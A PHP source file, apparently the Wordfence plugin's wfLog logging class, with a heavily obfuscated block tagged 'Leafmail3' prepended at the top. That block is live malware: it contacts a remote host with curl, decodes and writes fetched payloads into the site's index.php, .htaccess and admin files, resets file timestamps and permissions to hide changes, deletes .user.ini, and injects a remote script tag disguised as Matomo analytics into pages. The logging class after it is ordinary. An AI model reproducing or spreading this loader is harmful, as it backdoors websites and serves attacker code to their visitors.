<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
require_once(dirname(__FILE__) . '/wfDB.php');
require_once(dirname(__FILE__) . '/wfUtils.php');
require_once(dirname(__FILE__) . '/wfBrowscap.php');
class wfLog {
public $canLogHit = true;
private $effectiveUserID = 0;
private $hitsTable = '';
private $apiKey = '';
private $wp_version = '';
private $db = false;
private $googlePattern = '/\.(?:googlebot\.com|google\.[a-z]{2,3}|google\.[a-z]{2}\.[a-z]{2}|1e100\.net)$/i';
private $loginsTable, $statusTable;
private static $gbSafeCache = array();
/**
* @var wfRequestModel
*/
private $currentRequest;
public static function shared() {
static $_shared = null;
if ($_shared === null) {
$_shared = new wfLog(wfConfig::get('apiKey'), wfUtils::getWPVersion());
}
return $_shared;
}
/**
* Returns whether or not we have a cached record identifying the visitor as human. This is used both by certain
* rate limiting features and by Live Traffic.
*
* @param bool|string $IP
* @param bool|string $UA
* @return bool
*/
public static function isHumanRequest($IP = false, $UA = false) {
global $wpdb;
if ($IP === false) {
$IP = wfUtils::getIP();
}
if ($UA === false || $UA === null) {
$UA = (isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
}
$ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton($IP));
$table = wfDB::networkTable('wfLiveTrafficHuman');
if ($wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM {$table} WHERE IP = {$ipHex} AND identifier = %s AND expiration >= UNIX_TIMESTAMP()", hash('sha256', $UA, true)))) {
return true;
}
return false;
}
/**
* Creates a cache record for the requester to tag it as human.
*
* @param bool|string $IP
* @param bool|string $UA
* @return bool
*/
public static function cacheHumanRequester($IP = false, $UA = false) {
global $wpdb;
if ($IP === false) {
$IP = wfUtils::getIP();
}
if ($UA === false) {
$UA = (isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
}
$ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton($IP));
$table = wfDB::networkTable('wfLiveTrafficHuman');
if ($wpdb->get_var($wpdb->prepare("INSERT IGNORE INTO {$table} (IP, identifier, expiration) VALUES ({$ipHex}, %s, UNIX_TIMESTAMP() + 86400)", hash('sha256', $UA, true)))) {
return true;
}
}
/**
* Prunes any expired records from the human cache.
*/
public static function trimHumanCache() {
global $wpdb;
$table = wfDB::networkTable('wfLiveTrafficHuman');
$wpdb->query("DELETE FROM {$table} WHERE `expiration` < UNIX_TIMESTAMP()");
}
public function __construct($apiKey, $wp_version){
$this->apiKey = $apiKey;
$this->wp_version = $wp_version;
$this->hitsTable = wfDB::networkTable('wfHits');
$this->loginsTable = wfDB::networkTable('wfLogins');
$this->statusTable = wfDB::networkTable('wfStatus');
add_filter('determine_current_user', array($this, '_userIDDetermined'), 99, 1);
}
public function _userIDDetermined($userID) {
//Needed because the REST API will clear the authenticated user if it fails a nonce check on the request
$this->effectiveUserID = (int) $userID;
return $userID;
}
public function initLogRequest() {
if ($this->currentRequest === null) {
$this->currentRequest = new wfRequestModel();
$this->currentRequest->ctime = sprintf('%.6f', microtime(true));
$this->currentRequest->statusCode = 200;
$this->currentRequest->isGoogle = (wfCrawl::isGoogleCrawler() ? 1 : 0);
$this->currentRequest->IP = wfUtils::inet_pton(wfUtils::getIP());
$this->currentRequest->userID = $this->getCurrentUserID();
$this->currentRequest->URL = wfUtils::getRequestedURL();
$this->currentRequest->referer = (isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '');
$this->currentRequest->UA = (isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
$this->currentRequest->jsRun = 0;
add_action('wp_loaded', array($this, 'actionSetRequestJSEnabled'));
add_action('init', array($this, 'actionSetRequestOnInit'), 9999);
if (function_exists('register_shutdown_function')) {
register_shutdown_function(array($this, 'logHit'));
}
}
}
public function actionSetRequestJSEnabled() {
if (get_current_user_id() > 0) {
$this->currentRequest->jsRun = true;
return;
}
$IP = wfUtils::getIP();
$UA = $this->currentRequest->UA;
$this->currentRequest->jsRun = wfLog::isHumanRequest($IP, $UA);
}
/**
* CloudFlare's plugin changes $_SERVER['REMOTE_ADDR'] on init.
*/
public function actionSetRequestOnInit() {
$this->currentRequest->IP = wfUtils::inet_pton(wfUtils::getIP());
$this->currentRequest->userID = $this->getCurrentUserID();
}
/**
* @return wfRequestModel
*/
public function getCurrentRequest() {
return $this->currentRequest;
}
public function logLogin($action, $fail, $username){
if(! $username){
return;
}
$user = get_user_by('login', $username);
$userID = 0;
if($user){
$userID = $user->ID;
if(! $userID){
return;
}
}
else {
$user = get_user_by('email', $username);
if ($user) {
$userID = $user->ID;
if (!$userID) {
return;
}
}
}
// change the action flag here if the user does not exist.
if ($action == 'loginFailValidUsername' && $userID == 0) {
$action = 'loginFailInvalidUsername';
}
$hitID = 0;
if ($this->currentRequest !== null) {
$this->currentRequest->userID = $userID;
$this->currentRequest->action = $action;
$this->currentRequest->save();
$hitID = $this->currentRequest->getPrimaryKey();
}
//Else userID stays 0 but we do log this even though the user doesn't exist.
$ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton(wfUtils::getIP()));
$this->getDB()->queryWrite("insert into " . $this->loginsTable . " (hitID, ctime, fail, action, username, userID, IP, UA) values (%d, %f, %d, '%s', '%s', %s, {$ipHex}, '%s')",
$hitID,
sprintf('%.6f', microtime(true)),
$fail,
$action,
$username,
$userID,
(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '')
);
}
private function getCurrentUserID(){
if (!function_exists('get_current_user_id') || !defined('AUTH_COOKIE')) { //If pluggable.php is loaded early by some other plugin on a multisite installation, it leads to an error because AUTH_COOKIE is undefined and WP doesn't check for it first
return 0;
}
$id = get_current_user_id();
return $id ? $id : 0;
}
public function logLeechAndBlock($type) { //404 or hit
if (!wfRateLimit::mightRateLimit($type)) {
return;
}
